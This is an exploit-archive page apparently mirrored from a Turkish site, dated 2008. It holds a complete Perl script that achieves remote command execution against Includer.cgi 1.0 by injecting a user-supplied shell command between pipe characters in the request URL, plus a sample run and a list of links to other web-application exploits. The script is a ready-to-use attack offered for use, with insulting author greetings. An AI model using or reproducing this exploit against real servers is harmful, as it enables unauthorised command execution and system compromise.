Eklenme Tarihi: 2008-10-20 23:00
#!/usr/bin/perl
#
# [K-C0d3r] Includer.cgi 1.0 remote command execution [K-C0d3r]
#
# C0d3d By K-C0d3r, a www.x0n3-h4ck.org friend!
#
# I think the bug was discovered by Francisco Alisson.
#
# Greetz to: mZ, CorryL, Expanders, SiNaPsE, off, rikky, milw0rm.
#
# F**K o*f to all RxBot kiddies as e*****t, G***n, d***b.
#
##########################################################################
# [kc@K-C0d3r xpl]$ perl KCincluder.pl 127.0.0.1 /cgi-bin/includer.cgi 1
# [K-C0d3r] Includer.cgi Remote Command Execution Exploit [K-C0d3r]
# [?] Insert command: id
# [+] Conecting to 127.0.0.1
# [+] Connected to 127.0.0.1
# [+] Injecting command ...
# uid=500(kc) gid=500(kc) gruppi=500(kc)
# [kc@K-C0d3r xpl]$
##########################################################################
use IO::Socket;
sub Usage {
print STDERR "Usage:\nKCinc-xpl.pl <www.victim.com> </path/to/includer.cgi> <exploitation_type>.\n";
print STDERR "Exploitation Types:\n \t\t1: includer.cgi?|command|\n \t\t2: includer.cgi?template=|command|\n\n";
exit;
}
if (@ARGV < 3)
{
Usage();
}
$host = @ARGV[0];
$path = @ARGV[1];
print "[K-C0d3r] Includer.cgi Remote Command Execution Exploit [K-C0d3r]\n";
print "[?] Insert command: ";
$command = <STDIN>;
$type = @ARGV[2];
if ($type > 2)
{
Usage();
}
print "[+] Conecting to $host\n";
if ($type = 1)
{
$injection = "$host$path?|$command|";
$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;
print "[+] Connected to $host\n";
print "[+] Injecting command ...\n";
print $socket "GET
http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
print $_;
exit;
}
}
if ($type = 2)
{
$injection = "$host$path?template=|$command|";
$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;
print "[+] Connected to $host\n";
print "[+] Injecting command\n";
print $socket "GET
http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
print $_;
exit;
}
}
Keywords:
Benzer Sayfalar (Similar Pages):
Exploit /
Web Apps Exploit /
The Includer CGI <= 1.0 Remote Command Execution (new version)Bu Sayfalarda İlginizi Çekebilir (The Links Bellow May Attract You As Well):
Exploit /
Web Apps Exploit /
Turbo Seek Null Byte Error Discloses Files to Remote Users Exploit /
Web Apps Exploit /
PHP-Nuke 7.4 Remote Privilege EscalationExploit /
Web Apps Exploit /
PHP-NUKE version <= 6.9 'cid' sql injection Remote ExploitExploit /
Web Apps Exploit /
phpBB 2.0.6 search_id sql injection MD5 Hash Remote Exploit
Exploit /
Web Apps Exploit /
Fastgraf's whois.cgi Remote Command Execution ExploitExploit /
Web Apps Exploit /
UtilMind Mail List 1.7 - Users Can Execute CommandsExploit /
Web Apps Exploit /
ListMail v112 - Command ExecutionExploit /
Web Apps Exploit /
PostNuke PostWrap Module Remote ExploitExploit /
Web Apps Exploit /
Siteman <= 1.1.10 Remote Administrative Account Addition ExploitExploit /
Web Apps Exploit /
AWStats configdir Remote Command Execution Exploit (perl code)Exploit /
Web Apps Exploit /
e107 include() Remote ExploitExploit /
Web Apps Exploit /
phpMyChat 0.14.5 Remote Improper File Permissions ExploitExploit /
Web Apps Exploit /
phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)Exploit /
Web Apps Exploit /
phpBB <= 2.0.10 Remote Command Execution ExploitExploit /
Web Apps Exploit /
GFHost PHP GMail Remote Command Execution ExploitExploit /
Web Apps Exploit /
TWiki 20030201 search.pm Remote Command Execution ExploitExploit /
Web Apps Exploit /
ocPortal 1.0.3 Remote File InclusionExploit /
Web Apps Exploit /
PHP-Nuke 6.x - 7.6 Top module Remote Sql Injection Exploit (working)Exploit /
Web Apps Exploit /
phpBB <= 2.0.13 'Calendar Pro' mod Remote ExploitExploit /
Web Apps Exploit /
phpBB <= 2.0.13 'downloads.php' mod Remote ExploitExploit /
Web Apps Exploit /
PunBB version <= 1.2.2 Authentication Bypass ExploitExploit /
Web Apps Exploit /
ZPanel <= 2.5 Remote SQL Injection ExploitExploit /
Web Apps Exploit /
phpDEV5 Remote Default Insecure Users VulnExploit /
Web Apps Exploit /
Download Center Lite (DCL) <= 1.5 Remote File InclusionExploit /
Web Apps Exploit /
PHP mcNews <= 1.3 (skinfile) Remote File Include VulnerabilityExploit /
Web Apps Exploit /
The Includer CGI <= 1.0 Remote Command ExecutionExploit /
Web Apps Exploit /
vBulletin <= 3.0.4 "forumdisplay.php" Code ExecutionExploit /
Web Apps Exploit /
Webhints <= 1.03 Remote Command Execution Exploit (perl code) (3)Exploit /
Web Apps Exploit /
Webhints <= 1.03 Remote Command Execution Exploit (perl code) (1)Exploit /
Web Apps Exploit /
Guppy <= 4.5.11 (Delete Databases) Remote Denial of Service Exploit